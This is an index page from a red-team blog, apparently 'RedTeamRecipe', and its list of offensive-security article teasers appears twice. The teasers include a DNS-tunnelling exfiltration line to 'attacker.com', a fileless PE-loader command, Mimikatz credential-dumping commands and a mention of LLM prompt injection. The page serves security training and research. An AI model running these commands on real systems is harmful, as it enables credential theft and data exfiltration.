RedTeamRecipe

Sharpening Techniques with Impacket(RTC0025)

1 2 3 4 5

DumpNTLMInfo

Powershell Tips & Tricks(RTC0024)

1 2 3 4 5

Top C&C Methods(RTC0023)

1 2 3 4 5

C2C Methods

Awesome Cobalt BoF(RTC0022)

1 2 3 4 5

What is a BOF?

Top 60 Compression Methods(RTC0021)

1 2 3 4 5

Compression Methods

Event Codes for fun & profit(RTC0020)

1 2 3 4 5

Event Codes for fun & profit

Top 50 Techniques & Procedures(RTC0019)

1 2 3 4 5

Top 50 Techniques & Procedures

Registry Attack Vectors(RTC0018)

1 2 3 4 5

The Windows Registry is a centralized configuration system that stores information necessary to configure the system for one or more users, applications, and hardware devices. The data is stored in...

Abuse SVCHost Methods(RTC0017)

1 2 3 4 5

svchost.exe, which stands for “Service Host”, is an integral part of the Windows operating system. It’s a generic host process name for services that run from dynamic-link libraries (DLLs). Instead...

Top 50 Vulnerabilities Leading to RCE in Public-Facing Applications(RTC0016)

1 2 3 4 5

Top 50 Vulnerabilities Leading to RCE in Public-Facing Applications

File Binding Methods(RTC0015)

1 2 3 4 5

ID Conversion Idea Flow (High-Level Steps) 1 .exe to .zip (Self-extracting archive) Create a self-extracting archive from the executable. 2 .exe to .jar (Java Archive) Create a JAR file containing...

Exfiltration Method for Channels(RTC0014)

1 2 3 4 5

DNS Tunneling [System.Net.Dns]::GetHostAddresses(“SensitiveData.attacker.com”) ForEach-Object { $_.ToString() }

Methods for Stealing Password in Browser(RTC0013)

1 2 3 4 5

Important Tables and Columns

Kevin Mitnick Lessons(RTC0012)

1 2 3 4 5

Pretexting

25 Methods for Pipeline Attacks(RTC0011)

1 2 3 4 5

Add Approver using Admin permission on CI

100 Methods for Container Attacks(RTC0010)

1 2 3 4 5

Insecure Container Images

Awesome Maltego Transforms(RTC0008)

1 2 3 4 5

Cover by: Andreas Rocha

60 Methods For Cloud Attacks(RTC0009)

1 2 3 4 5

Insecure Interfaces and APIs

Satellite Hacking Demystified(RTC0007)

1 2 3 4 5

ADCS (Attitude Determination and Control System)

Finding 0-day vulnerabilities in apps using the Red Team approach(RTC0005)

1 2 3 4 5

Apache Log4j2 Deserialization of Untrusted Data

Hacking Methods In Films(RTF0001)

1 2 3 4 5

COD Ghost

Large Language Model Prompts(RTC0006)

1 2 3 4 5

LLM01:2023 - Prompt Injections

64 Methods For Execute Mimikatz(RTC0003)

1 2 3 4 5

64 Methods for Execute Mimikatz

50 Methods For Lsass Dump(RTC0002)

1 2 3 4 5

Mimikatz Methods: Sekurlsa::logonpasswords Sekurlsa::minidump lsadump::dcsync

Potato(RTR0003)

1 2 3 4 5

Potato code:RTR0003

Email(RTR0002)

1 2 3 4 5

Email code:RTR0002

OpenDocker(RTR0001)

1 2 3 4 5

Open Docker code:RTR0001

Hello RedTeamer

1 2 3 4 5

Hello RedTeamer

Methods For Fileless Execution(RTC0004)

1 2 3 4 5

PE Loader 1 FilelessPELoader.exe 192.168.126.240 8080 cipher. bin key. bin https://github.com/TheD1rkMtr/FilelessPELoader

40 Methods For Privilege Escalation(RTC0001)

1 2 3 4 5

DirtyC0w

Sharpening Techniques with Impacket(RTC0025)

1 2 3 4 5

DumpNTLMInfo

Powershell Tips & Tricks(RTC0024)

1 2 3 4 5

Top C&C Methods(RTC0023)

1 2 3 4 5

C2C Methods

Awesome Cobalt BoF(RTC0022)

1 2 3 4 5

What is a BOF?

Top 60 Compression Methods(RTC0021)

1 2 3 4 5

Compression Methods

Event Codes for fun & profit(RTC0020)

1 2 3 4 5

Event Codes for fun & profit

Top 50 Techniques & Procedures(RTC0019)

1 2 3 4 5

Top 50 Techniques & Procedures

Registry Attack Vectors(RTC0018)

1 2 3 4 5

The Windows Registry is a centralized configuration system that stores information necessary to configure the system for one or more users, applications, and hardware devices. The data is stored in...

Abuse SVCHost Methods(RTC0017)

1 2 3 4 5

svchost.exe, which stands for “Service Host”, is an integral part of the Windows operating system. It’s a generic host process name for services that run from dynamic-link libraries (DLLs). Instead...

Top 50 Vulnerabilities Leading to RCE in Public-Facing Applications(RTC0016)

1 2 3 4 5

Top 50 Vulnerabilities Leading to RCE in Public-Facing Applications

File Binding Methods(RTC0015)

1 2 3 4 5

ID Conversion Idea Flow (High-Level Steps) 1 .exe to .zip (Self-extracting archive) Create a self-extracting archive from the executable. 2 .exe to .jar (Java Archive) Create a JAR file containing...

Exfiltration Method for Channels(RTC0014)

1 2 3 4 5

DNS Tunneling [System.Net.Dns]::GetHostAddresses(“SensitiveData.attacker.com”) ForEach-Object { $_.ToString() }

Methods for Stealing Password in Browser(RTC0013)

1 2 3 4 5

Important Tables and Columns

Kevin Mitnick Lessons(RTC0012)

1 2 3 4 5

Pretexting

25 Methods for Pipeline Attacks(RTC0011)

1 2 3 4 5

Add Approver using Admin permission on CI

100 Methods for Container Attacks(RTC0010)

1 2 3 4 5

Insecure Container Images

Awesome Maltego Transforms(RTC0008)

1 2 3 4 5

Cover by: Andreas Rocha

60 Methods For Cloud Attacks(RTC0009)

1 2 3 4 5

Insecure Interfaces and APIs

Satellite Hacking Demystified(RTC0007)

1 2 3 4 5

ADCS (Attitude Determination and Control System)

Finding 0-day vulnerabilities in apps using the Red Team approach(RTC0005)

1 2 3 4 5

Apache Log4j2 Deserialization of Untrusted Data

Hacking Methods In Films(RTF0001)

1 2 3 4 5

COD Ghost

Large Language Model Prompts(RTC0006)

1 2 3 4 5

LLM01:2023 - Prompt Injections

64 Methods For Execute Mimikatz(RTC0003)

1 2 3 4 5

64 Methods for Execute Mimikatz

50 Methods For Lsass Dump(RTC0002)

1 2 3 4 5

Mimikatz Methods: Sekurlsa::logonpasswords Sekurlsa::minidump lsadump::dcsync

Potato(RTR0003)

1 2 3 4 5

Potato code:RTR0003

Email(RTR0002)

1 2 3 4 5

Email code:RTR0002

OpenDocker(RTR0001)

1 2 3 4 5

Open Docker code:RTR0001

Hello RedTeamer

1 2 3 4 5

Hello RedTeamer

Methods For Fileless Execution(RTC0004)

1 2 3 4 5

PE Loader 1 FilelessPELoader.exe 192.168.126.240 8080 cipher. bin key. bin https://github.com/TheD1rkMtr/FilelessPELoader

40 Methods For Privilege Escalation(RTC0001)

1 2 3 4 5

DirtyC0w